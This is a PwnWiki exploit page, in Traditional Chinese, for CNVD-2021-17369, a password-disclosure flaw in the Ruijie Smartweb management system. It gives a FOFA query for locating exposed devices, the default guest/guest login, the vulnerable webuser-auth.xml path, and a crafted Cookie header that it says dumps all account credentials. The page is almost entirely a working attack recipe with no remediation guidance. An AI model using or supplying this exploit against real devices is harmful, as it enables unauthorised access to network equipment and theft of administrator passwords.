CNVD-2021-17369 銳捷Smartweb管理系統 密碼信息洩露漏洞

From PwnWiki
This page is a translated version of the page CNVD-2021-17369 銳捷Smartweb管理系統 密碼信息洩露漏洞 and the translation is 86% complete.
Outdated translations are marked like this.
Other languages:
Chinese • ‎English • ‎中文（中国大陆）‎ • ‎中文（台灣）‎

FOFA

title="无线smartWeb--登录页面"

默認guest密碼

guest/guest


漏洞位置

http://xxx.xxx.xxx.xxx/web/xml/webuser-auth.xml


漏洞利用

Cookice添加以下內容 

Cookie: login=1; oid=1.3.6.1.4.1.4881.1.1.10.1.3; type=WS5302; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest


可以獲取所有賬戶信息


參考

https://mp.weixin.qq.com/s/EICYTqRWDRB8OfXKHxCBfQ

Retrieved from "https://pwnwiki.com/index.php?title=CNVD-2021-17369_銳捷Smartweb管理系統_密碼信息洩露漏洞/zh-tw&oldid=7103"